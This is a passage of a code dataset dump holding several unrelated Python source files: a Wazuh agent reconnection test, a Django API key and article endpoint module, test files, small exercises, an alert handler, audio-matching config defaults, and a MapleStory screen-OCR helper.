configurations from the module.\n - teardown:\n type: fixture\n brief: Stop the Remoted server\n\n assertions:\n - Verify that when the 'wazuh-agentd' daemon initializes, it connects to\n the 'wazuh-remoted' daemon of the manager before reaching the maximum number of attempts.\n - Verify the successful enrollment of the agent if the auto-enrollment option is enabled.\n - Verify that the rollback feature of the server works correctly.\n\n input_description: An external YAML file (wazuh_conf.yaml) includes configuration settings for the agent.\n Different test cases are found in the test module and include parameters\n for the environment setup using the TCP and UDP protocols.\n\n expected_output:\n - r'Valid key received'\n - r'Trying to connect to server'\n - r'Unable to connect to any server'\n\n tags:\n - simulator\n - ssl\n - keys\n '''\n DELTA = 1\n RECV_TIMEOUT = 5\n ENROLLMENT_SLEEP = 20\n LOG_TIMEOUT = 30\n\n global remoted_server\n\n PROTOCOL = protocol = get_configuration['metadata']['PROTOCOL']\n RETRIES = get_configuration['metadata']['MAX_RETRIES']\n INTERVAL = get_configuration['metadata']['RETRY_INTERVAL']\n ENROLL = get_configuration['metadata']['ENROLL']\n\n control_service('stop')\n clean_logs()\n log_monitor = FileMonitor(LOG_FILE_PATH)\n remoted_server = RemotedSimulator(protocol=PROTOCOL, client_keys=CLIENT_KEYS_PATH)\n control_service('start')\n\n # 2 Check for unsuccessful connection retries in Agentd initialization\n interval = INTERVAL\n if PROTOCOL == 'udp':\n interval += RECV_TIMEOUT\n\n if ENROLL == 'yes':\n total_retries = RETRIES + 1\n else:\n total_retries = RETRIES\n\n for retry in range(total_retries):\n # 3 If auto enrollment is enabled, retry check enrollment and retries after that\n if ENROLL == 'yes' and retry == total_retries - 1:\n # Wait successfully enrollment\n try:\n log_monitor.start(timeout=20, callback=wait_enrollment)\n except TimeoutError as err:\n raise AssertionError(\"No successful enrollment after retries!\")\n last_log = parse_time_from_log_line(log_monitor.result())\n\n # Next retry will be after enrollment sleep\n interval = ENROLLMENT_SLEEP\n\n try:\n log_monitor.start(timeout=interval + LOG_TIMEOUT, callback=wait_connect)\n except TimeoutError as err:\n raise AssertionError(\"Connection attempts took too much!\")\n actual_retry = parse_time_from_log_line(log_monitor.result())\n if retry > 0:\n delta_retry = actual_retry - last_log\n # Check if delay was applied\n assert delta_retry >= timedelta(seconds=interval - DELTA), \"Retries to quick\"\n assert delta_retry <= timedelta(seconds=interval + DELTA), \"Retries to slow\"\n last_log = actual_retry\n\n # 4 Wait for server rollback\n try:\n log_monitor.start(timeout=30, callback=wait_server_rollback)\n except TimeoutError as err:\n raise AssertionError(\"Server rollback took too much!\")\n\n # 5 Check amount of retries and enrollment\n (connect, enroll) = count_retry_mesages()\n assert connect == total_retries\n if ENROLL == 'yes':\n assert enroll == 1\n else:\n assert enroll == 0\n\n return\n","repo_name":"wazuh/wazuh-qa","sub_path":"tests/integration/test_agentd/test_agentd_parametrized_reconnections.py","file_name":"test_agentd_parametrized_reconnections.py","file_ext":"py","file_size_in_byte":12779,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"21"} +{"seq_id":"18140943361","text":"import datetime\n\nfrom django.contrib.auth.models import User\nfrom django.db.models import Q\nfrom rest_framework.response import Response\n\nfrom API.models import APIKey, APIRequests\nfrom API.serializers import ArticleSerializer, ProfileSerializer, APIKeySerializer, APIRequestSerializer, BansSerializer\nfrom Main import zlib\nfrom Main.models import Articles\nfrom Main.zlib import CreateAPIRequest, checkAPIKeyPerm, requiredPerm, getThisKey\nfrom Users.models import Profile, Bans\n\n\ndef APIFunc(request, func, perm, **kwargs):\n if \"APIKey\" in request.GET.keys() if request.method == \"GET\" else \"APIKey\" in request.data:\n return func(request=request, rPerm=requiredPerm(perm), **kwargs) or Response(\"403 Forbidden\")\n else:\n return Response(\"403 Forbidden\")\n\n\ndef APIGetArticles(request, rPerm):\n thisKey = getThisKey(request)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n articles = Articles.objects.all()\n serializer = ArticleSerializer(articles, many=True)\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n APIRequest.save()\n return Response({\"articles\": serializer.data if articles else None})\n\n\ndef APIGetArticle(request, rPerm, pk):\n thisKey = getThisKey(request)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n article = Articles.objects.get(id=pk)\n serializer = ArticleSerializer(article, many=False)\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n APIRequest.save()\n return Response({\"article\": serializer.data if article else None})\n\n\ndef APICreateArticle(request, rPerm):\n thisKey = getThisKey(request)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n article = request.data.get('article')\n # Create an article from the above data\n serializer = ArticleSerializer(data=article)\n if serializer.is_valid(raise_exception=True):\n article_saved = serializer.save()\n\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n APIRequest.save()\n return Response({\"success\": \"Article '{}' created successfully\".format(article_saved.title)})\n\n\ndef APIGetProfiles(request, rPerm):\n thisKey = getThisKey(request)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n profiles = Profile.objects.all()\n serializer = ProfileSerializer(profiles, many=True)\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n APIRequest.save()\n return Response({\"users\": serializer.data if profiles else None})\n\n\ndef APIGetProfile(request, rPerm, pk):\n thisKey = getThisKey(request)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n user = User.objects.get(username=pk)\n profile = Profile.objects.get(user=user)\n serializer = ProfileSerializer(profile, many=False)\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n APIRequest.save()\n return Response({\"user\": serializer.data if profile else None})\n\n\ndef APIGetKey(request, rPerm, pk):\n thisKey = getThisKey(request, active=False, free=True)\n if thisKey:\n if pk == thisKey.key or checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request),\n free=True\n )\n apikey = APIKey.objects.filter(key=pk).first()\n serializer = APIKeySerializer(apikey, many=False)\n response = dict()\n response.update(serializer.data)\n response.update({\"used_times\": counter})\n APIRequest.save()\n return Response({\"APIKey\": response if apikey else None})\n\n\ndef APICreateKey(request, rPerm):\n thisKey = getThisKey(request)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n APIRequest.save()\n apikey = {\"key\": zlib.genAPIKey()}\n apikey.update(request.data.get('key'))\n # Create an APIKey from the above data\n serializer = APIKeySerializer(data=apikey)\n if serializer.is_valid(raise_exception=True):\n apikey_saved = serializer.save()\n return Response({\n \"success\": \"APIKey '{}' created successfully for '{}'. It is valid for {} uses and will expire at {}\".format(\n apikey_saved.key,\n apikey_saved.purpose,\n apikey_saved.allowed_requests if apikey_saved.allowed_requests != -1 else \"infinity\",\n apikey_saved.exp_datetime\n )})\n\n\ndef APIExtendKey(request, rPerm):\n thisKey = getThisKey(request)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n APIRequest.save()\n if \"key\" not in request.data:\n return Response(\"449 Retry With: 'key'\")\n else:\n if not (\"exp_datetime\" in request.data or \"additional_requests\" in request.data):\n return Response(\"449 Retry With: 'exp_date' or 'additional_requests'\")\n else:\n key = APIKey.objects.get(key=request.data.get('key'))\n if key:\n if \"exp_datetime\" in request.data:\n key.exp_datetime = request.data.get('exp_datetime')\n if \"additional_requests\" in request.data:\n key.allowed_requests += request.data.get('additional_requests')\n key.save()\n return Response({\n \"success\": \"APIKey '{}' updated successfully. Now it has {} uses and its new expiration datetime is {}\".format(\n key.key,\n key.allowed_requests,\n key.exp_datetime\n )})\n else:\n return Response(\"404 Not Found\")\n\n\ndef APIGetKeys(request, rPerm):\n thisKey = getThisKey(request, free=True)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n apikey = APIKey.objects.all()\n serializer = APIKeySerializer(apikey, many=True)\n response = serializer.data\n for i in range(APIKey.objects.all().count()):\n allcounter = APIRequests.objects.filter(\n free=False,\n APIKey=APIKey.objects.all()[i]\n ).count()\n response[i].update({\"used_times\": allcounter})\n APIRequest.save()\n return Response({\"APIKeys\": response if apikey else None})\n\n\ndef APIGetRequests(request, rPerm):\n thisKey = getThisKey(request, free=True)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n APIRequest.save()\n apirequest = APIRequests.objects.all()\n serializer = APIRequestSerializer(apirequest, many=True)\n response = serializer.data\n return Response({\"APIRequests\": response if apirequest else None})\n\n\ndef APIGetBans(request, rPerm):\n thisKey = getThisKey(request)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n APIRequest.save()\n bans = Bans.objects.filter(\n Q(user=request.GET['user']) if \"user\" in request.GET.keys() else Q(),\n Q(who_banned=request.GET['who_banned']) if \"who_banned\" in request.GET.keys() else Q(),\n Q(pass_datetime__gte=datetime.datetime.now(),\n status=\"Active\") if \"active\" in request.GET.keys() else Q()\n )\n serializer = BansSerializer(bans, many=True)\n response = serializer.data\n return Response({\"Bans\": response if bans else None})\n\n\ndef APICreateBan(request, rPerm):\n thisKey = getThisKey(request)\n if thisKey:\n if checkAPIKeyPerm(thisKey, rPerm):\n counter = APIRequests.objects.filter(\n APIKey=thisKey,\n free=False\n ).count()\n if thisKey.allowed_requests - counter > 0 or thisKey.allowed_requests == -1:\n APIRequest = CreateAPIRequest(\n APIKey=thisKey,\n ip=zlib.get_client_ip(request),\n body=zlib.getRequestBody(request)\n )\n ban = request.data.get('ban')\n # Create an APIKey from the above data\n serializer = BansSerializer(data=ban)\n if serializer.is_valid(raise_exception=True):\n ban_saved = serializer.save()\n APIRequest.save()\n return Response({\"success\": \"Ban for user '{}' created successfully\".format(ban_saved.user)})\n","repo_name":"onlikerop/FockNews","sub_path":"API/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":13258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9321614359","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('chatbot', '0004_remove_event_state'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='event',\n name='state',\n field=models.CharField(default=datetime.date(2016, 10, 19), max_length=1000),\n preserve_default=False,\n ),\n ]\n","repo_name":"kohlishivam/ezycv-messeneger-bot","sub_path":"chatbot/migrations/0005_event_state.py","file_name":"0005_event_state.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"11270688820","text":"from django.test import SimpleTestCase, tag\nfrom .api_client import find_movies, find_characters\nfrom unittest import mock\n\n\n@tag('integration-tests')\nclass TestApiClient(SimpleTestCase):\n\n def test_should_find_all_movies(self):\n movies = find_movies()\n\n for movie in movies:\n self.assertTrue(len(movie.id))\n self.assertTrue(len(movie.title))\n self.assertTrue(len(movie.description))\n self.assertTrue(type(movie.release_date) is int)\n\n @mock.patch('requests.get')\n def test_should_return_empty_list_of_movies_when_api_errors(self, get):\n get.return_value.json.return_value = 'Error message'\n get.return_value.ok = False\n\n movies = find_movies()\n\n self.assertEqual(movies, [])\n\n def test_should_find_all_characters_of_a_movie(self):\n movie_id = find_movies()[0].id\n\n characters = find_characters(movie_id)\n\n for character in characters:\n self.assertTrue(len(character.id))\n self.assertTrue(len(character.name))\n self.assertIn(character.gender, ['Male', 'Female', 'NA'])\n\n @mock.patch('requests.get')\n def test_should_return_empty_list_of_characters_when_api_errors(self, get):\n get.return_value.json.return_value = 'Error message'\n get.return_value.ok = False\n\n characters = find_characters('a-film-id')\n\n self.assertEqual(characters, [])\n","repo_name":"agorer/studio-ghibli","sub_path":"movies/common/test_api_client.py","file_name":"test_api_client.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73643553653","text":"from print_menu import print_menu\n\nmenu_items = {\n \"Wings\": 0,\n \"Cookies\": 0,\n \"Spring Rolls\": 0,\n \"Salmon\": 0,\n \"Steak\": 0,\n \"Meat Tornado\": 0,\n \"A Literal Garden\": 0,\n \"Ice Cream\": 0,\n \"Cake\": 0,\n \"Pie\": 0,\n \"Coffee\": 0,\n \"Tea\": 0,\n \"Unicorn Tears\": 0,\n}\n\n\ndef get_summary(obj):\n result = \"\"\n for item in obj:\n if obj[item] > 0:\n result += f\"{obj[item]} {item} \\n\"\n return result\n\n\ndef output_response(response: str) -> str:\n if response in menu_items:\n menu_items[response] += 1\n return f\"**{menu_items[response]} order of {response} have been added to your meal**\"\n elif response == \"summary\":\n summary = get_summary(menu_items)\n return f\"\"\"\n*----------------------------- Summary -----------------------------*\\n\n{summary}\n \"\"\"\n\n elif response == \"quit\":\n return \"Thank you come again\"\n else:\n return f\"Please select an item from the list. Check your spelling\"\n\n\ndef main():\n print_menu()\n user_answer = None\n while user_answer != \"quit\":\n user_answer = input(\">\")\n print(output_response(user_answer))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"daveeS987/snakes-cafe","sub_path":"snakes_cafe/snakes_cafe.py","file_name":"snakes_cafe.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7173097907","text":"from jumpscale.loader import j\nimport gevent\n\n\ndef _get_identifier(app_name, message, public_message, category, alert_type):\n return j.data.hash.md5(\":\".join([app_name, message, public_message, category, alert_type]))\n\n\nclass Alert:\n def __init__(self):\n self.id = None\n self.type = None\n self.level = 0\n self.app_name = None\n self.category = None\n self.message = None\n self.public_message = None\n self.count = 0\n self.status = None\n self.first_occurrence = None\n self.last_occurrence = None\n self.data = None\n self.event = []\n self.tracebacks = []\n\n @classmethod\n def loads(cls, value):\n json = j.data.serializers.json.loads(value)\n instance = cls()\n instance.__dict__ = json\n return instance\n\n @property\n def identifier(self):\n return _get_identifier(self.app_name, self.message, self.public_message, self.category, self.type)\n\n @property\n def json(self):\n return self.__dict__\n\n def dumps(self):\n return j.data.serializers.json.dumps(self.__dict__)\n\n\nclass AlertsHandler:\n def __init__(self):\n self._rkey = \"alerts\"\n self._rkey_id = \"alerts:id\"\n self._rkey_incr = \"alerts:id:incr\"\n self._db = None\n self.handlers = []\n\n def __dir__(self):\n return (\"get\", \"find\", \"alert_raise\", \"count\", \"reset\", \"delete\", \"delete_all\")\n\n @property\n def db(self):\n if self._db is None:\n self._db = j.core.db\n return self._db\n\n def get(self, alert_id: int = None, identifier: str = None, die: bool = True) -> Alert:\n \"\"\"Get alert by its id or identifier\n\n Keyword Arguments:\n alert_id {int} -- alert id (default: {None})\n identifier {str} -- alert identifier (default: {None})\n die {bool} -- flag to rasie exception if alert is not found (default: {True})\n\n Raises:\n j.core.exceptions.NotFound: alert is not found\n j.core.exceptions.Value: invalid arguments\n\n Returns:\n Alert -- [description]\n \"\"\"\n if not (alert_id or identifier):\n raise j.core.exceptions.Value(\"Either alert id or alert identifier are required\")\n\n alert_id = alert_id or self.db.hget(self._rkey_id, identifier)\n if alert_id:\n alert = self.db.hget(self._rkey, alert_id)\n if alert:\n return Alert.loads(alert)\n if die:\n raise j.core.exceptions.NotFound(\"Requested alert is not found\")\n\n def find(\n self,\n app_name: str = \"\",\n category: str = \"\",\n message: str = \"\",\n pid: int = None,\n start_time: int = None,\n end_time: int = None,\n ) -> list:\n\n \"\"\"Find alerts\n\n Keyword Arguments:\n app_name (str): filter by allert app name (default: {\"\"})\n category {str} -- filter by alert category (default: {\"\"})\n message {str} -- filter by alert message (default: {\"\"})\n pid {int} -- filter by process id (default: {None})\n start_time {int} -- filter by start time (default: {None})\n end_time {int} -- filter by end time (default: {None})\n\n Returns:\n list of Alert objects\n \"\"\"\n\n app_name = app_name.strip().lower()\n category = category.strip().lower()\n message = message.strip().lower()\n\n alerts = []\n items = self.db.hscan_iter(self._rkey)\n\n for item in items:\n alert = Alert.loads(item[1])\n\n if app_name and app_name != alert.app_name.strip().lower():\n continue\n\n if category and category != alert.category.strip().lower():\n continue\n\n if message and (\n message not in alert.message.strip().lower() and message not in alert.public_message.strip().lower()\n ):\n continue\n\n if start_time and start_time < alert.first_occurrence:\n continue\n\n if end_time and end_time > alert.last_occurrence:\n continue\n\n if pid:\n for traceback in alert.tracebacks:\n if traceback[\"process_id\"] == pid:\n break\n else:\n continue\n\n alerts.append(alert)\n return sorted(alerts, key=lambda alert: alert.id)\n\n def alert_raise(\n self,\n app_name,\n message,\n public_message: str = \"\",\n category: str = \"\",\n alert_type: str = \"event_system\",\n level: int = 40,\n data: dict = None,\n timestamp: float = None,\n traceback: dict = None,\n ) -> Alert:\n\n \"\"\"Raise a new alert\n\n Arguments:\n message {str} -- alert message\n\n Keyword Arguments:\n public_message {str} -- alert public message (default: {\"\"})\n category {str} -- alert category (default: {\"\"})\n alert_type {str} -- alert type (default: {\"event_system\"})\n level {int} -- alert level (default: {40})\n traceback {dict} -- alert traceback (default: {None})\n\n Returns:\n Alert -- alert object\n \"\"\"\n if not self.db.is_running():\n return\n\n identifier = _get_identifier(app_name, message, public_message, category, alert_type)\n alert = self.get(identifier=identifier, die=False) or Alert()\n\n if alert.id:\n if alert.status == \"new\":\n alert.status = \"open\"\n elif alert.status == \"closed\":\n alert.status = \"reopened\"\n else:\n alert.status = \"new\"\n alert.first_occurrence = timestamp or j.data.time.now().timestamp\n\n alert.app_name = app_name\n alert.category = category\n alert.message = message\n alert.public_message = public_message\n alert.level = level\n alert.type = alert_type\n alert.count += 1\n alert.last_occurrence = timestamp or j.data.time.now().timestamp\n\n if traceback:\n if len(alert.tracebacks) > 5:\n alert.tracebacks.pop(0)\n\n alert.tracebacks.append(traceback)\n self._save(alert)\n for handler_func, handler_level in self.handlers:\n if level >= handler_level:\n gevent.spawn(handler_func, alert)\n return alert\n\n def count(self) -> int:\n \"\"\"Gets alerts count\n\n Returns:\n int -- total number of alerts\n \"\"\"\n return self.db.hlen(self._rkey)\n\n def _save(self, alert: Alert):\n \"\"\"Saves alert object in db\n\n Arguments:\n alert {Alert} -- alert object\n \"\"\"\n if not alert.id:\n alert.id = self.db.incr(self._rkey_incr)\n\n self.db.hset(self._rkey, alert.id, alert.dumps())\n self.db.hset(self._rkey_id, alert.identifier, alert.id)\n\n def delete(self, alert_id: int = None, identifier: str = None):\n \"\"\"Delete alert by its id or identifier\n\n Raises:\n j.core.exceptions.Value: invalid arguments\n\n Keyword Arguments:\n alert_id {int} -- alert id (default: {None})\n identifier {str} -- alert identifier (default: {None})\n \"\"\"\n if not (alert_id or identifier):\n raise j.core.exceptions.Value(\"Either alert id or alert identifier are required\")\n\n alert_id = alert_id or self.db.hget(self._rkey_id, identifier)\n if alert_id:\n self.db.hdel(self._rkey, alert_id)\n\n def delete_all(self):\n \"\"\"Deletes all alerts\"\"\"\n self.db.delete(self._rkey, self._rkey_id)\n\n def reset(self):\n \"\"\"Delete all alerts and reset the db\"\"\"\n self.delete_all()\n self.db.delete(self._rkey_incr)\n\n def register_handler(self, handler: callable, level: int = 40):\n \"\"\"Register new alert handler\n\n Arguments:\n handler (callable): error handler callable\n\n Keyword Arguments:\n level (int): exception level (default: {40})\n \"\"\"\n if (handler, level) not in self.handlers:\n self.handlers.append((handler, level))\n","repo_name":"threefoldtech/js-ng","sub_path":"jumpscale/tools/alerthandler/alerthandler.py","file_name":"alerthandler.py","file_ext":"py","file_size_in_byte":8223,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"69796693814","text":"from PIL import Image\nimport pyautogui as p\nimport pytesseract\nimport re\n\np.PAUSE = 1\n\npytesseract.pytesseract.tesseract_cmd = 'C:\\\\Program Files\\\\Tesseract-OCR\\\\tesseract.exe'\n\ndef okAttributes(cube='weird'):\n attributes = []\n for i in range(0, 3):\n if cube == 'weird':\n p.screenshot(imageFilename=str(i)+'.png', region=(875, 584+i*13, 100, 13)) # weird cube position\n elif cube == 'green':\n p.screenshot(imageFilename=str(i)+'.png', region=(884, 604+i*13, 150, 13)) # green cube position\n else:\n print('Not support cube type: {cube}'.format(cube=cube))\n return False\n img = Image.open(str(i)+'.png')\n text = pytesseract.image_to_string(img, lang='eng')\n text = text.replace(\"\\n\",\"\")\n text = text.replace(\"\\t\",\"\")\n text = text.replace(\" \",\"\")\n attributes.append(text)\n\n # print(attributes)\n attrMap_6 = dict(\n str=re.compile('.*STR.*6(8|%).*'),\n int=re.compile('.*INT.*6(8|%).*'),\n dex=re.compile('.*DE.*6(8|%).*'),\n luk=re.compile('.*LU.*6(8|%).*'),\n )\n attrMap_3 = dict(\n str=re.compile('.*STR.*3(8|%).*'),\n int=re.compile('.*INT.*3(8|%).*'),\n dex=re.compile('.*DE.*3(8|%).*'),\n luk=re.compile('.*LU.*3(8|%).*'),\n )\n\n count_6 = dict(\n str = 0,\n int = 0,\n dex = 0,\n luk = 0,\n )\n\n count_3 = dict(\n str = 0,\n int = 0,\n dex = 0,\n luk = 0,\n )\n\n for attr in attributes:\n for key in attrMap_6:\n r = attrMap_6.get(key)\n if r.search(attr) != None:\n count_6[key] += 1\n break\n for key in attrMap_3:\n r = attrMap_3.get(key)\n if r.search(attr) != None:\n count_3[key] += 1\n break\n\n # print(count_6)\n # print(count_3)\n\n for key in count_6:\n if count_6[key] >= 2:\n print()\n print('success', key)\n return True\n elif count_6[key] >= 1 and count_3[key] >=1:\n print()\n print('success', key)\n return True\n\n return False\n\ndef existingWeirdCube():\n exist = p.locateOnScreen('./img/weird_cube_opening.png')\n if exist == None:\n return False\n return True\n\n\np.screenshot(imageFilename='staff.png', region=(1711, 231-42, 24, 18))","repo_name":"gfes980615/game_auto","sub_path":"maple/lib/screen.py","file_name":"screen.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11652456402","text":"import math\nfrom .log import debug\n\n\nclass LimiterConfig:\n def __init__(\n self,\n attack: float = 1,\n hold: float = 1,\n release: float = 3000,\n attack_filter_coefficient: float = -2,\n hold_filter_order: int = 1,\n hold_filter_coefficient: float = 7,\n release_filter_order: int = 1,\n release_filter_coefficient: float = 800,\n ):\n assert attack > 0\n self.attack = attack\n\n assert hold > 0\n self.hold = hold\n\n assert release > 0\n self.release = release\n\n self.attack_filter_coefficient = attack_filter_coefficient\n\n assert hold_filter_order > 0\n assert isinstance(hold_filter_order, int)\n self.hold_filter_order = hold_filter_order\n\n self.hold_filter_coefficient = hold_filter_coefficient\n\n assert release_filter_order > 0\n assert isinstance(release_filter_order, int)\n self.release_filter_order = release_filter_order\n\n self.release_filter_coefficient = release_filter_coefficient\n\n\nclass Config:\n def __init__(\n self,\n internal_sample_rate: int = 44100,\n max_length: float = 15 * 60,\n max_piece_size: float = 15,\n threshold: float = (2**15 - 61) / 2**15,\n min_value: float = 1e-6,\n fft_size: int = 4096,\n lin_log_oversampling: int = 4,\n rms_correction_steps: int = 4,\n clipping_samples_threshold: int = 8,\n limited_samples_threshold: int = 128,\n allow_equality: bool = False,\n lowess_frac: float = 0.0375,\n lowess_it: int = 0,\n lowess_delta: float = 0.001,\n preview_size: float = 30,\n preview_analysis_step: float = 5,\n preview_fade_size: float = 1,\n preview_fade_coefficient: float = 8,\n temp_folder: str = None,\n limiter: LimiterConfig = LimiterConfig(),\n ):\n assert internal_sample_rate > 0\n assert isinstance(internal_sample_rate, int)\n if internal_sample_rate != 44100:\n debug(\n \"Using an internal sample rate other than 44100 has not been tested properly! \"\n \"Use it at your own risk!\"\n )\n self.internal_sample_rate = internal_sample_rate\n\n assert max_length > 0\n assert max_length > fft_size / internal_sample_rate\n self.max_length = max_length\n\n assert threshold > min_value\n assert threshold < 1\n self.threshold = threshold\n\n assert min_value > 0\n assert min_value < 0.1\n self.min_value = min_value\n\n assert max_piece_size > 0\n assert max_piece_size > fft_size / internal_sample_rate\n assert max_piece_size < max_length\n self.max_piece_size = max_piece_size * internal_sample_rate\n\n assert fft_size > 1\n assert math.log2(fft_size).is_integer()\n self.fft_size = fft_size\n\n assert lin_log_oversampling > 0\n assert isinstance(lin_log_oversampling, int)\n self.lin_log_oversampling = lin_log_oversampling\n\n assert rms_correction_steps >= 0\n assert isinstance(rms_correction_steps, int)\n self.rms_correction_steps = rms_correction_steps\n\n assert clipping_samples_threshold >= 0\n assert limited_samples_threshold > 0\n assert limited_samples_threshold > clipping_samples_threshold\n assert isinstance(clipping_samples_threshold, int)\n assert isinstance(limited_samples_threshold, int)\n self.clipping_samples_threshold = clipping_samples_threshold\n self.limited_samples_threshold = limited_samples_threshold\n\n assert isinstance(allow_equality, bool)\n self.allow_equality = allow_equality\n\n assert lowess_frac > 0\n assert lowess_it >= 0\n assert lowess_delta >= 0\n assert isinstance(lowess_it, int)\n self.lowess_frac = lowess_frac\n self.lowess_it = lowess_it\n self.lowess_delta = lowess_delta\n\n assert preview_size > 5\n assert preview_analysis_step > 1\n assert preview_fade_size > 0\n assert preview_fade_coefficient >= 2\n self.preview_size = preview_size * internal_sample_rate\n self.preview_analysis_step = preview_analysis_step * internal_sample_rate\n self.preview_fade_size = preview_fade_size * internal_sample_rate\n self.preview_fade_coefficient = preview_fade_coefficient\n\n assert temp_folder is None or isinstance(temp_folder, str)\n self.temp_folder = temp_folder\n\n assert isinstance(limiter, LimiterConfig)\n self.limiter = limiter\n","repo_name":"sergree/matchering","sub_path":"matchering/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":1088,"dataset":"github-code","pt":"21"} +{"seq_id":"18750946588","text":"#!/usr/bin/env python3\n# https://leetcode.com/problems/pascals-triangle-ii/\n\nimport unittest\nfrom typing import List\n\n\nclass Solution:\n def getRow(self, rowIndex: int) -> List[int]:\n rowIndex += 1\n if rowIndex < 0:\n return []\n previous: List[int] = []\n current = None\n for i in range(rowIndex):\n current = []\n current.append(1)\n if i > 0:\n for j in range(i - 1):\n current.append(previous[j] + previous[j + 1])\n current.append(1)\n previous = current\n return current\n\n\nclass TestCode(unittest.TestCase):\n def test_3(self):\n expected = [1, 3, 3, 1]\n result = Solution().getRow(3)\n self.assertListEqual(expected, result)\n\n def test_nothing(self):\n self.assertListEqual([], Solution().getRow(-2))\n","repo_name":"altermarkive/training","sub_path":"algorithms/code/leetcode/lc119_pascals_triangle_ii/lc119_pascals_triangle_ii.py","file_name":"lc119_pascals_triangle_ii.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"45677954185","text":"import torch\r\nfrom torch import nn, Tensor\r\n\r\nfrom protein_learning.common.helpers import safe_normalize\r\nfrom protein_learning.networks.common.helpers.torch_utils import rand_uniform\r\n\r\n\r\nclass CoordNorm(nn.Module):\r\n def __init__(\r\n self,\r\n dim: int,\r\n nonlin: nn.Module = nn.ReLU,\r\n eps: float = 1e-8,\r\n use_layernorm: bool = False,\r\n ):\r\n super().__init__()\r\n self.nonlin = nonlin\r\n self.eps = 